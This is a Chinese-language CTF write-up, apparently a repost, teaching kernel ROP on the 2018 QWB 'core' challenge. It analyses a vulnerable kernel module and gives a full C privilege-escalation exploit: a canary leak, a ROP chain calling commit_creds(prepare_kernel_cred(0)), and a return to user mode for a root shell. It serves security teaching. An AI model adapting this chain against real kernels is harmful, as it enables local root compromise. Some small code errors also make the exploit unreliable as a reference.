Keychain小队的新作,以2018强网杯-core为例带领各位少侠入门kernelROP。
样本分析
1.start.sh
qemu-system-x86_64 #x86的64位系统
-m 128M #原为64m报错为内存错误改为128正常运行
-kernel ./bzImage #内核文件
-initrd ./core.cpio #系统文件
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" #挂载方式
-s
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0
-nographic
#不打开独立终端
2.查看文件系统
直接解压看到
可看到core.ko文件,在分析ko文件前先可以分析一下init启动文件
#init
#!/bin/sh
mount -t proc proc /proc #文件系统挂载
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms #将kallsyms写入/temp/kallsyms,即用户可读kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict #echo 1 覆盖kptr和dmesg
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko #载入模块
poweroff -d 120 -f & #定时关机,可删除重打包关闭
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!n'
umount /proc
umount /sys
poweroff -d 0 -f
3.分析模块
保护
可以看到开启了nx和canary
core_init和core_exit分别为注册和卸载模块,不过多分析
core_ioctl
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 ) //通过a2来执行不同操作
{
case 1719109787: //直接将a3传递给core_read
core_read(a3);
break;
case 1719109788:
printk(&unk_2CD);
off = a3; //可以通过a2和a3值的构造控制off这个全局变量
break;
case 1719109786:
printk(&unk_2B3);
core_copy_func(a3); //直接将a3传递给core_copy_fun
break;
}
return 0LL;
}
core_read
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i ) //开辟64字节空间
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.n"); //字节拷贝到v5中
result = copy_to_user(a1, &v5[off], 64LL); //从内核空间拷贝64字节到用户空间中,其中off为可控地址,有数组越界的存在
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
core_copy_func
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 ) //判断a1长度
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1); //从name这一全局变量上拷贝字符,拷贝长度为a1,a1为__int64,使用时为__int16则可造成栈溢出
}
return result;
}
core_write
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) //判断a3并从a2出读取数据到name全局变量上
return (unsigned int)a3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}
4.漏洞处理
先通过vmlinux获取偏移
from pwn import *
elf = ELF('./give_to_player/file_system/vmlinux')
print("commit_creds = " + hex(elf.symbols['commit_creds']-0xffffffff81000000))
print("prepare_kernel_cred = " + hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000))
其真实地址可由前文保存的**/tmp/kallsyms直接读取,读取到偏移之后通过相对偏移获取基址并通过设置off越界来leak出canary,获取接着控制程序流运行comit_creds(prepare_kernel_cred(0))**并返回用户态得到root权限
编译时加上**-masm=intel指示为intel**汇编
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
size_t vmlinux_base = 0; //随机化后的vmlinux基址
size_t raw_vmlinux_base = 0xffffffff81000000; //未加载时的基址
//intel 保存用户态
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] saved !");
}
//read功能可知canary偏移为0x40,可泄露
void core_read(int fd, char *copy_to_user){
ioctl(fd, 1719109787, copy_to_user);
}
//
void set_off(int fd, long long set_off){
ioctl(fd, 1719109788, set_off);
}
void core_copy_func(int fd, long long len){
ioctl(fd, 1719109786, len);
}
void get_shell(){
if(!getuid()){
puts("Hacked!!!");
system('/bin/sh');
}
else{
puts("Fail!!!");
}
exit(0);
}
size_t leak_base(){
FILE* fd = fopen("/tmp/kallsyms","r");
if(fd < 0) exit(0);
char buf[0x30] = {0};
while(fgets(buf, 0x30, fd)){
if(commit_creds & prepare_kernel_cred) return 0;
if(strstr(buf, "commit_creds") && !commit_creds){
char addr[20] = {0};
strncpy(addr, buf, 0x10); //前十六字节为地址
sscanf(addr, "%llx", &commit_creds);
printf("commit_credsaddr = %pn",commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base = %pn", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){
char addr[20] = {0};
strncpy(addr, buf, 0x10); //前十六字节为地址
sscanf(addr, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred = %pn",prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
printf("vmlinux_base = %pn", vmlinux_base);
}
}
if(!(prepare_kernel_cred & commit_creds)){
puts("fail!!!");
exit(0);
}
}
void pwn(){
int fd = open("/proc/core", 2);
if(fd < 0) exit(0);
leak_base(); //得到基址和函数地址
ssize_t offset = vmlinux_base - raw_vmlinux_base; //基址偏移获取
set_off(fd, 0x40); //设置off,以便leak出canary
char buf[0x40] = {0}; //开0x40空间防止意外
core_read(fd, buf); //leak出canary
size_t canary = ((size_t *)buf)[0];
printf("canary = %pn", canary);
size_t rop[0x1000] = {0};
int i;
for(i = 0; i < 10; ++i) rop[i++] = canary;
rop[i++] = 0xffffffff81000b2f + offset; //pop rdi ; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; //执行prepare_kernel_cred(0),其放回值存放在rax中
rop[i++] = 0xffffffff810a0f49 + offset; //pop rdx ; ret
rop[i++] = 0xffffffff81021e53 + offset; //pop rcx ; ret (swapgs只有一条且为swapge; popfq; ret 用作平衡)
rop[i++] = 0xffffffff8101aa6a + offset; //mov rdi, rcx; call rax;
rop[i++] = commit_creds; //comit_creds(prepare_kernel_cred(0))
rop[i++] = 0xffffffff81a012da + offset; //swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; //iretq; ret;
rop[i++] = (size_t)get_shell; //设置rip
rop[i++] = user_cs; //设置cs
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}
int main(){
save_status(); //保存用户态指针
leak_base();
pwn();
return 0;
}
可以看到成功获取到了权限
原文始发于微信公众号(东方隐侠安全实验室):入门 kernelROP:以2018强网杯-core为例
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论